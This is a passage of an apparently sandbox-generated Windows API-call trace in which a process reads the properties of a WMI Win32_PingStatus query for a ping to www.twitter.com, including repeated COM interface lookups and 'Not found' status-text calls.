[0162.993] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7b6c*=0, plFlavor=0x22a7b70*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a7b6c*=8, plFlavor=0x22a7b70*=64) returned 0x0 [0162.993] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.993] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.993] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7bc4*=0, plFlavor=0x22a7bc8*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7bc4*=8, plFlavor=0x22a7bc8*=64) returned 0x0 [0162.993] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7bec*=0, plFlavor=0x22a7bf0*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a7bec*=8, plFlavor=0x22a7bf0*=64) returned 0x0 [0162.993] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.993] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.993] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7c44*=0, plFlavor=0x22a7c48*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a7c44*=8, plFlavor=0x22a7c48*=64) returned 0x0 [0162.994] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.994] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.994] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7e20*=0, plFlavor=0x22a7e24*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22a7e20*=3, plFlavor=0x22a7e24*=64) returned 0x0 [0162.994] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7e54*=0, plFlavor=0x22a7e58*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a7e54*=8200, plFlavor=0x22a7e58*=64) returned 0x0 [0162.994] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7e88*=0, plFlavor=0x22a7e8c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22a7e88*=8, plFlavor=0x22a7e8c*=64) returned 0x0 [0162.994] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.994] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.994] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7ed4*=0, plFlavor=0x22a7ed8*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22a7ed4*=8, plFlavor=0x22a7ed8*=64) returned 0x0 [0162.994] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.995] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.995] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7f20*=0, plFlavor=0x22a7f24*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a7f20*=8, plFlavor=0x22a7f24*=64) returned 0x0 [0162.995] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.995] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.995] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0162.995] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0162.995] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.995] IWbemClassObject:Get (in: This=0x5f6b650, wszName="WriteDebugStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a8158*=0, plFlavor=0x22a815c*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a8158*=0, plFlavor=0x22a815c*=0) returned 0x80041002 [0162.995] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0162.996] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5fc3e80) returned 0x0 [0162.997] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3e80, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0162.997] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5fc3e80, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5fc3ec0) returned 0x0 [0162.997] WbemStatusCodeText:IUnknown:Release (This=0x5fc3e80) returned 0x0 [0162.997] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ec0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5fc3ec0) returned 0x0 [0162.997] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ec0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0162.997] WbemStatusCodeText:IUnknown:AddRef (This=0x5fc3ec0) returned 0x3 [0162.997] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ec0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0162.997] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ec0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0162.997] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ec0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0162.997] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0162.997] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0162.997] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ec0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0162.997] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ec0) returned 0x2 [0162.997] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ec0) returned 0x1 [0162.997] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0162.998] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0162.998] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ec0, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5fc3ec0) returned 0x0 [0162.998] WbemStatusCodeText:IUnknown:AddRef (This=0x5fc3ec0) returned 0x3 [0162.998] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ec0) returned 0x2 [0162.998] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5fc3ec0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0162.998] SysStringByteLen (bstr="Not found ") returned 0x14 [0162.999] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0162.999] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0162.999] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.999] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0162.999] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0162.999] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.999] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0162.999] SafeArrayGetDim (psa=0x5f8ae80) returned 0x1 [0162.999] SafeArrayGetDim (psa=0x5f8ae80) returned 0x1 [0162.999] SafeArrayGetLBound (in: psa=0x5f8ae80, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0162.999] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.999] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.999] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.999] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.999] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.999] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.999] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.999] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.999] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.999] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0163.000] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0163.000] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0163.000] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0163.000] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0163.000] SysStringByteLen (bstr="__SERVER") returned 0x10 [0163.000] SysStringByteLen (bstr="__SERVER") returned 0x10 [0163.000] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0163.000] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0163.000] SysStringByteLen (bstr="__PATH") returned 0xc [0163.000] SysStringByteLen (bstr="__PATH") returned 0xc [0163.000] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a8538*=0, plFlavor=0x22a853c*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22a8538*=3, plFlavor=0x22a853c*=64) returned 0x0 [0163.000] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a856c*=0, plFlavor=0x22a8570*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a856c*=8, plFlavor=0x22a8570*=64) returned 0x0 [0163.000] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0163.000] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0163.000] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a85c4*=0, plFlavor=0x22a85c8*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a85c4*=8, plFlavor=0x22a85c8*=64) returned 0x0 [0163.000] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a85ec*=0, plFlavor=0x22a85f0*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a85ec*=8, plFlavor=0x22a85f0*=64) returned 0x0 [0163.001] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0163.001] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0163.001] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a8644*=0, plFlavor=0x22a8648*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a8644*=8, plFlavor=0x22a8648*=64) returned 0x0 [0163.001] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0163.001] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0163.001] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a8820*=0, plFlavor=0x22a8824*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22a8820*=3, plFlavor=0x22a8824*=64) returned 0x0 [0163.001] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a8854*=0, plFlavor=0x22a8858*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a8854*=8200, plFlavor=0x22a8858*=64) returned 0x0 [0163.001] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a8888*=0, plFlavor=0x22a888c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22a8888*=8, plFlavor=0x22a888c*=64) returned 0x0 [0163.001] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0163.002] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0163.002] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a88d4*=0, plFlavor=0x22a88d8*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22a88d4*=8, plFlavor=0x22a88d8*=64) returned 0x0 [0163.002] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0163.002] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0163.002] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a8920*=0, plFlavor=0x22a8924*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a8920*=8, plFlavor=0x22a8924*=64) returned 0x0 [0163.002] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0163.002] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0163.002] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0163.002] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0163.002] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.002] IWbemClassObject:Get (in: This=0x5f6b650, wszName="WriteInformationStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a8b64*=0, plFlavor=0x22a8b68*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a8b64*=0, plFlavor=0x22a8b68*=0) returned 0x80041002 [0163.002] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0163.004] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5fc3e80) returned 0x0 [0163.004] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3e80, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0163.004] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5fc3e80, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5fc3ed0) returned 0x0 [0163.004] WbemStatusCodeText:IUnknown:Release (This=0x5fc3e80) returned 0x0 [0163.004] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ed0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5fc3ed0) returned 0x0 [0163.004] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ed0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0163.005] WbemStatusCodeText:IUnknown:AddRef (This=0x5fc3ed0) returned 0x3 [0163.005] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ed0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0163.005] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ed0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0163.005] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ed0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 